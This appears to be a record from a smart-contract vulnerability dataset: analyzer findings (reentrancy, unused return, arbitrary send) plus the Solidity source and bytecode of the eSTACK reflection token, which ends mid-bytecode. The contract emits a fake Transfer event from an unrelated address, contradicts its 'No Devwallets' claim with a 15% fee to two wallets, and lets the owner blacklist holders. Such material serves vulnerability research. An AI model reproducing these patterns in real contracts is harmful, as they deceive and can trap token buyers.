3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f9816124f9565b61230384836125b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123609190612f3c565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123bd683635c9adc5dea0000060085461206090919063ffffffff16565b8210156123dc57600854683635c9adc5dea000009350935050506123e5565b81819350935050505b9091565b60008060008060008060008060006124068a600a54600b546125f0565b92509250925060006124166120d7565b905060008060006124298e878787612686565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061249383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124aa9190613072565b9050838110156124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e690612e3c565b60405180910390fd5b8091505092915050565b60006125036120d7565b9050600061251a8284611fe590919063ffffffff16565b905061256e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125cb8260085461245190919063ffffffff16565b6008819055506125e68160095461249b90919063ffffffff16565b6009819055505050565b60008060008061261c606461260e888a611fe590919063ffffffff16565b61206090919063ffffffff16565b905060006126466064612638888b611fe590919063ffffffff16565b61206090919063ffffffff16565b9050600061266f82612661858c61245190919063ffffffff16565b61245190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061269f8589611fe590919063ffffffff16565b905060006126b68689611fe590919063ffffffff16565b905060006126cd8789611fe590919063ffffffff16565b905060006126f6826126e8858761245190919063ffffffff16565b61245190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061272261271d84612ff1565b612fcc565b9050808382526020820190508285602086028201111561274157600080fd5b60005b858110156127715781612757888261277b565b845260208401935060208301925050600181019050612744565b5050509392505050565b60008135905061278a81613606565b92915050565b60008151905061279f81613606565b92915050565b600082601f8301126127b657600080fd5b81356127c684826020860161270f565b91505092915050565b6000813590506127de8161361d565b92915050565b6000815190506127f38161361d565b92915050565b60008135905061280881613634565b92915050565b60008151905061281d81613634565b92915050565b60006020828403121561283557600080fd5b60006128438482850161277b565b91505092915050565b60006020828403121561285e57600080fd5b600061286c84828501612790565b91505092915050565b6000806040838503121561288857600080fd5b60006128968582860161277b565b92505060206128a78582860161277b565b9150509250929050565b6000806000606084860312156128c657600080fd5b60006128d48682870161277b565b93505060206128e58682870161277b565b92505060406128f6868287016127f9565b9150509250925092565b6000806040838503121561291357600080fd5b60006129218582860161277b565b9250506020612932858286016127f9565b9150509250929050565b60006020828403121561294e57600080fd5b600082013567ffffffffffffffff81111561296857600080fd5b612974848285016127a5565b91505092915050565b60006020828403121561298f57600080fd5b600061299d848285016127cf565b91505092915050565b6000602082840312156129b857600080fd5b60006129c6848285016127e4565b91505092915050565b6000602082840312156129e157600080fd5b60006129ef848285016127f9565b91505092915050565b600080600060608486031215612a0d57600080fd5b6000612a1b8682870161280e565b9350506020612a2c8682870161280e565b9250506040612a3d8682870161280e565b9150509250925092565b6000612a538383612a5f565b60208301905092915050565b612a6881613187565b82525050565b612a7781613187565b82525050565b6000612a888261302d565b612a928185613050565b9350612a9d8361301d565b8060005b83811015612ace578151612ab58882612a47565b9750612ac083613043565b925050600181019050612aa1565b5085935050505092915050565b612ae481613199565b82525050565b612af3816131dc565b82525050565b6000612b0482613038565b612b0e8185613061565b9350612b1e8185602086016131ee565b612b2781613328565b840191505092915050565b6000612b3f602383613061565b9150612b4a82613339565b604082019050919050565b6000612b62602a83613061565b9150612b6d82613388565b604082019050919050565b6000612b85602283613061565b9150612b90826133d7565b604082019050919050565b6000612ba8601b83613061565b9150612bb382613426565b602082019050919050565b6000612bcb601d83613061565b9150612bd68261344f565b602082019050919050565b6000612bee602183613061565b9150612bf982613478565b604082019050919050565b6000612c11602083613061565b9150612c1c826134c7565b602082019050919050565b6000612c34602983613061565b9150612c3f826134f0565b604082019050919050565b6000612c57602583613061565b9150612c628261353f565b604082019050919050565b6000612c7a602483613061565b9150612c858261358e565b604082019050919050565b6000612c9d601783613061565b9150612ca8826135dd565b602082019050919050565b612cbc816131c5565b82525050565b612ccb816131cf565b82525050565b6000602082019050612ce66000830184612a6e565b92915050565b6000604082019050612d016000830185612a6e565b612d0e6020830184612a6e565b9392505050565b6000604082019050612d2a6000830185612a6e565b612d376020830184612cb3565b9392505050565b600060c082019050612d536000830189612a6e565b612d606020830188612cb3565b612d6d6040830187612aea565b612d7a6060830186612aea565b612d876080830185612a6e565b612d9460a0830184612cb3565b979650505050505050565b6000602082019050612db46000830184612adb565b92915050565b60006020820190508181036000830152612dd48184612af9565b905092915050565b60006020820190508181036000830152612df581612b32565b9050919050565b60006020820190508181036000830152612e1581612b55565b9050919050565b60006020820190508181036000830152612e3581612b78565b9050919050565b60006020820190508181036000830152612e5581612b9b565b9050919050565b60006020820190508181036000830152612e7581612bbe565b9050919050565b60006020820190508181036000830152612e9581612be1565b9050919050565b60006020820190508181036000830152612eb581612c04565b9050919050565b60006020820190508181036000830152612ed581612c27565b9050919050565b60006020820190508181036000830152612ef581612c4a565b9050919050565b60006020820190508181036000830152612f1581612c6d565b9050919050565b60006020820190508181036000830152612f3581612c90565b9050919050565b6000602082019050612f516000830184612cb3565b92915050565b600060a082019050612f6c6000830188612cb3565b612f796020830187612aea565b8181036040830152612f8b8186612a7d565b9050612f9a6060830185612a6e565b612fa76080830184612cb3565b9695505050505050565b6000602082019050612fc66000830184612cc2565b92915050565b6000612fd6612fe7565b9050612fe28282613221565b919050565b6000604051905090565b600067ffffffffffffffff82111561300c5761300b6132f9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061307d826131c5565b9150613088836131c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130bd576130bc61329b565b5b828201905092915050565b60006130d3826131c5565b91506130de836131c5565b9250826130ee576130ed6132ca565b5b828204905092915050565b6000613104826131c5565b915061310f836131c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131485761314761329b565b5b828202905092915050565b600061315e826131c5565b9150613169836131c5565b92508282101561317c5761317b61329b565b5b828203905092915050565b6000613192826131a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131e7826131c5565b9050919050565b60005b8381101561320c5780820151818401526020810190506131f1565b8381111561321b576000848401525b50505050565b61322a82613328565b810181811067ffffffffffffffff82111715613249576132486132f9565b5b80604052505050565b600061325d826131c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132905761328f61329b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61360f81613187565b811461361a57600080fd5b50565b61362681613199565b811461363157600080fd5b50565b61363d816131c5565b811461364857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ca8eb2f5e8bc1a617100478c7b5de19a2fcb6082c88b01a9acda8ea62b4d21f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,046
0xe0038e9377547839a95a7268fa6c7aba553234ea
/** *Submitted for verification at Etherscan.io on 2021-06-03 */ /* ███████╗████████╗██╗░░██╗███████╗██████╗░███████╗██╗░░░██╗███╗░░░███╗ ░██████╗████████╗░█████╗░░█████╗░██╗░░██╗ ██╔════╝╚══██╔══╝██║░░██║██╔════╝██╔══██╗██╔════╝██║░░░██║████╗░████║ ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║░██╔╝ █████╗░░░░░██║░░░███████║█████╗░░██████╔╝█████╗░░██║░░░██║██╔████╔██║ ╚█████╗░░░░██║░░░███████║██║░░╚═╝█████═╝░ ██╔══╝░░░░░██║░░░██╔══██║██╔══╝░░██╔══██╗██╔══╝░░██║░░░██║██║╚██╔╝██║ ░╚═══██╗░░░██║░░░██╔══██║██║░░██╗██╔═██╗░ ███████╗░░░██║░░░██║░░██║███████╗██║░░██║███████╗╚██████╔╝██║░╚═╝░██║ ██████╔╝░░░██║░░░██║░░██║╚█████╔╝██║░╚██╗ ╚══════╝░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚══════╝░╚═════╝░╚═╝░░░░░╚═╝ ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝ ℰ𝓉𝒽ℯ𝓇ℯ𝓊𝓂 𝒮𝓉𝒶𝒸𝓀 $eSTACK http://estack.finance/ https://t.me/ethereumstackcom https://t.me/ethereumstackann https://twitter.com/EStackOfficial Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EStack is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Ethereum Stack"; string private constant _symbol = "eSTACK"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600e81526020017f457468657265756d20537461636b000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f65535441434b0000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6